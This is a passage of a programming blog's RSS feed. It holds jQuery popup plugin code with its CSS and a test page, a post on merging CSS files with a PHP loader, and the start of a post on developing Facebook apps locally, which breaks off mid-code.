&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #003366; font-weight: bold;">var</span> top <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>$<span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">inside</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">outerHeight</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span> <span style="color: #CC0000;">2</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">withScrolling</span><span style="color: #009900;">&#41;</span> top <span style="color: #339933;">+=</span> $<span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">inside</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">scrollTop</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;top <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>top <span style="color: #339933;">&gt;</span> options.<span style="color: #660066;">minY</span> <span style="color: #339933;">?</span> top <span style="color: #339933;">:</span> options.<span style="color: #660066;">minY</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$.<span style="color: #660066;">extend</span><span style="color: #009900;">&#40;</span>props<span style="color: #339933;">,</span> <span style="color: #009900;">&#123;</span>top<span style="color: #339933;">:</span> top<span style="color: #339933;">+</span><span style="color: #3366CC;">'px'</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">horizontal</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #003366; font-weight: bold;">var</span> left <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>$<span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">inside</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">outerWidth</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span> <span style="color: #CC0000;">2</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">withScrolling</span><span style="color: #009900;">&#41;</span> left <span style="color: #339933;">+=</span> $<span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">inside</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">scrollLeft</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; left <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>left <span style="color: #339933;">&gt;</span> options.<span style="color: #660066;">minX</span> <span style="color: #339933;">?</span> left <span style="color: #339933;">:</span> options.<span style="color: #660066;">minX</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $.<span style="color: #660066;">extend</span><span style="color: #009900;">&#40;</span>props<span style="color: #339933;">,</span> <span style="color: #009900;">&#123;</span>left<span style="color: #339933;">:</span> left<span style="color: #339933;">+</span><span style="color: #3366CC;">'px'</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">transition</span> <span style="color: #339933;">&gt;</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">animate</span><span style="color: #009900;">&#40;</span>props<span style="color: #339933;">,</span> options.<span style="color: #660066;">transition</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span>props<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">return</span> $<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>&nbsp; &nbsp; &nbsp;<br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>jquery.popup_rect.css file</p>
<div class="codecolorer-container css blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br /></div></td><td><div class="css codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #6666ff;">.popup_rect</span> <span style="color: #00AA00;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">background-color</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#f7f7f7</span><span style="color: #00AA00;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">border</span><span style="color: #00AA00;">:</span> <span style="color: #933;">2px</span> <span style="color: #993333;">solid</span> <span style="color: #cc00cc;">#949494</span><span style="color: #00AA00;">;</span><br />
&nbsp; &nbsp; border-radius<span style="color: #00AA00;">:</span> <span style="color: #933;">5px</span><span style="color: #00AA00;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">absolute</span><span style="color: #00AA00;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">z-index</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">999999</span><span style="color: #00AA00;">;</span><br />
<span style="color: #00AA00;">&#125;</span><br />
<span style="color: #6666ff;">.popup_rect_content</span> <span style="color: #00AA00;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span> <span style="color: #933;">20px</span><span style="color: #00AA00;">;</span><br />
<span style="color: #00AA00;">&#125;</span><br />
<span style="color: #6666ff;">.popup_rect_buttons</span> <span style="color: #00AA00;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span> <span style="color: #933;">20px</span><span style="color: #00AA00;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">absolute</span><span style="color: #00AA00;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">bottom</span><span style="color: #00AA00;">:</span> <span style="color: #933;">0px</span><span style="color: #00AA00;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">right</span><span style="color: #00AA00;">:</span> <span style="color: #933;">0px</span><span style="color: #00AA00;">;</span><br />
<span style="color: #00AA00;">&#125;</span><br />
<span style="color: #6666ff;">.popup_rect_button</span>&nbsp; <span style="color: #00AA00;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">float</span><span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">right</span><span style="color: #00AA00;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">margin-left</span><span style="color: #00AA00;">:</span> <span style="color: #933;">15px</span><span style="color: #00AA00;">;</span><br />
&nbsp; &nbsp; border-radius<span style="color: #00AA00;">:</span> <span style="color: #933;">5px</span><span style="color: #00AA00;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#000</span><span style="color: #00AA00;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">font-weight</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">bold</span><span style="color: #00AA00;">;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">padding-top</span><span style="color: #00AA00;">:</span> <span style="color: #933;">2px</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">padding-bottom</span><span style="color: #00AA00;">:</span> <span style="color: #933;">2px</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">padding-left</span><span style="color: #00AA00;">:</span> <span style="color: #933;">5px</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">padding-right</span><span style="color: #00AA00;">:</span> <span style="color: #933;">5px</span><span style="color: #00AA00;">;</span><br />
<span style="color: #00AA00;">&#125;</span><br />
<br />
<span style="color: #6666ff;">.popup_rect_disbaled</span>&nbsp; &nbsp; <span style="color: #00AA00;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">absolute</span><span style="color: #00AA00;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">background-color</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">white</span><span style="color: #00AA00;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">z-index</span><span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">999</span><span style="color: #00AA00;">;</span> <br />
&nbsp; &nbsp; opacity<span style="color: #00AA00;">:</span> <span style="color: #cc66cc;">0.6</span><span style="color: #00AA00;">;</span> <br />
&nbsp; &nbsp; filter<span style="color: #00AA00;">:</span> alpha<span style="color: #00AA00;">&#40;</span>opacity<span style="color: #00AA00;">=</span><span style="color: #cc66cc;">60</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">;</span><br />
<span style="color: #00AA00;">&#125;</span></div></td></tr></tbody></table></div>
<p>test.html file</p>
<div class="codecolorer-container html4strict blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a> <span style="color: #000066;">type</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a>&gt;</span><br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;jquery.popup_rect.js&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a>&gt;</span><br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/link.html"><span style="color: #000000; font-weight: bold;">link</span></a> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;jquery.popup_rect.css&quot;</span> <span style="color: #000066;">rel</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;stylesheet&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/css&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span><br />
<br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;test_div&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">div</span></a>&gt;</span><br />
<br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a>&gt;</span><br />
var rect = Object.create(popup_rect);<br />
rect.init({<br />
&nbsp; &nbsp; height: 200,<br />
&nbsp; &nbsp; width: 300<br />
}, $(&quot;#test_div&quot;));<br />
rect.get_content().append(&quot;<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/span.html"><span style="color: #000000; font-weight: bold;">span</span></a>&gt;</span>The Content<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/span.html"><span style="color: #000000; font-weight: bold;">span</span></a>&gt;</span>&quot;);<br />
rect.show_rect();<br />
<br />
rect.add_click_event(&quot;cancel&quot;, function(){<br />
&nbsp; &nbsp; alert(&quot;cancel&quot;);<br />
});<br />
<br />
rect.add_click_event(&quot;send&quot;, function(){<br />
&nbsp; &nbsp; alert(&quot;send&quot;);<br />
});<br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a>&gt;</span></div></td></tr></tbody></table></div>
<p>Have fun,<br />
Garry Lachman</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/04/10/jquery-simple-popup-rect-window/" target="_blank"><img src="http://garry-lachman.com/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/04/10/jquery-simple-popup-rect-window/" target="_blank" title="Share on Facebook">Share on Facebook</a></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fgarry-lachman.com%2F2012%2F04%2F10%2Fjquery-simple-popup-rect-window%2F&amp;title=jQuery%20Simple%20Popup%20Rect%20Window" id="wpa2a_4"><img src="http://garry-lachman.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://garry-lachman.com/2012/04/10/jquery-simple-popup-rect-window/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Merge CSS files into one file with PHP</title>
		<link>http://garry-lachman.com/2012/03/07/merge-css-files-into-one-file-with-php/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://garry-lachman.com/2012/03/07/merge-css-files-into-one-file-with-php/#comments</comments>
		<pubDate>Wed, 07 Mar 2012 15:28:54 +0000</pubDate>
		<dc:creator>Garry Lachman (Admin)</dc:creator>
				<category><![CDATA[PHP + mySQL]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php5]]></category>

		<guid isPermaLink="false">http://garry-lachman.com/?p=271</guid>
		<description><![CDATA[Hey, Most of the big websites have many css files and the browser need to load them one by one. There is a easy solution to merge them to one file using php. css_loader.php 123456789101112131415161718192021&#60;?php  &#8230; <a href="http://garry-lachman.com/2012/03/07/merge-css-files-into-one-file-with-php/" class="more-link">Read More <span class="excerpt-arrow">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="fblike_button" style="margin: 10px 0;"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fgarry-lachman.com%2F2012%2F03%2F07%2Fmerge-css-files-into-one-file-with-php%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:25px"></iframe></div>
<p>Hey,<br />
Most of the big websites have many css files and the browser need to load them one by one.<br />
There is a easy solution to merge them to one file using php.</p>
<p>css_loader.php</p>
<div class="codecolorer-container php blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #666666; font-style: italic;">// First of all send css header</span><br />
<a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Content-type: text/css&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #666666; font-style: italic;">// Array of css files</span><br />
<span style="color: #000088;">$css</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'main.css'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'menu.css'</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; <span style="color: #0000ff;">'content.css'</span><br />
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #666666; font-style: italic;">// Loop the css Array</span><br />
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$css</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$css_file</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Load the content of the css file </span><br />
&nbsp; &nbsp; <span style="color: #000088;">$css_content</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/file_get_contents"><span style="color: #990000;">file_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$css_file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// print the css content</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$css_content</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<p>Not include the CSS Loader file</p>
<div class="codecolorer-container html4strict blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/link.html"><span style="color: #000000; font-weight: bold;">link</span></a> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;css_loader.php&quot;</span> <span style="color: #000066;">rel</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;stylesheet&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/css&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></div></td></tr></tbody></table></div>
<p>Now all the CSS files are merged into one file.</p>
<p>Have Fun,<br />
Garry</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/03/07/merge-css-files-into-one-file-with-php/" target="_blank"><img src="http://garry-lachman.com/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://garry-lachman.com/2012/03/07/merge-css-files-into-one-file-with-php/" target="_blank" title="Share on Facebook">Share on Facebook</a></p><p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fgarry-lachman.com%2F2012%2F03%2F07%2Fmerge-css-files-into-one-file-with-php%2F&amp;title=Merge%20CSS%20files%20into%20one%20file%20with%20PHP" id="wpa2a_6"><img src="http://garry-lachman.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://garry-lachman.com/2012/03/07/merge-css-files-into-one-file-with-php/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Develop PHP Facebook Application Locally &#8211; Dev Mode</title>
		<link>http://garry-lachman.com/2012/02/24/develope_facebook_application_locally/#utm_source=feed&#038;utm_medium=feed&#038;utm_campaign=feed</link>
		<comments>http://garry-lachman.com/2012/02/24/develope_facebook_application_locally/#comments</comments>
		<pubDate>Fri, 24 Feb 2012 16:41:08 +0000</pubDate>
		<dc:creator>Garry Lachman (Admin)</dc:creator>
				<category><![CDATA[PHP + mySQL]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[php 5.3]]></category>
		<category><![CDATA[php5]]></category>

		<guid isPermaLink="false">http://garry-lachman.com/?p=265</guid>
		<description><![CDATA[Hi, As you know Facebook doesn&#8217;t have develop mode to that allow you to work locally. But there is way to do it &#8211; and its very easy to deployment. First create 2 applications on  &#8230; <a href="http://garry-lachman.com/2012/02/24/develope_facebook_application_locally/" class="more-link">Read More <span class="excerpt-arrow">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div class="fblike_button" style="margin: 10px 0;"><iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fgarry-lachman.com%2F2012%2F02%2F24%2Fdevelope_facebook_application_locally%2F&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:450px; height:25px"></iframe></div>
<p>Hi,<br />
As you know Facebook doesn&#8217;t have develop mode to that allow you to work locally.<br />
But there is way to do it &#8211; and its very easy to deployment.<img class="alignright" title="Facebook" src="http://www.techdigest.tv/assets_c/2009/02/facebook-small-logo-thumb-360x360-75537-thumb-300x300-78195.png" alt="" width="161" height="161" /></p>
<p>First create 2 applications on Facebook, one for &#8220;dev&#8221; and one for &#8220;production&#8221;.<br />
In dev application set you application url to the locally localhost if &#8220;127.0.0.1&#8243; like:</p>
<p>http://127.0.0.1/your_app.</p>
<p>The second step is to  create two &#8220;environments&#8221; in your application &#8211; &#8220;dev mode&#8221; and &#8220;production mode&#8221;.<br />
Create a settings class that check if you work locally and return the Facebook API Key.</p>
<div class="codecolorer-container php blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #000000; font-weight: bold;">class</span> ApplicationSettings &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">private</span> static <span style="color: #000088;">$facebook_api</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">&quot;dev&quot;</span><span style="color: #339933;">=&gt;</span><a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">&quot;key&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;123&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">&quot;secret&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;123&quot;</span> &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">&quot;prod&quot;</span><span style="color: #339933;">=&gt;</span><a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">&quot;key&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;123&quot;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">&quot;secret&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;123&quot;</span> &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> get_facebook<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_HOST'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;127.0.0.1&quot;</span><span style="color: #009900;">&#41;</span> &nbsp; <span style="color: #009900;">&#123;</span><br />
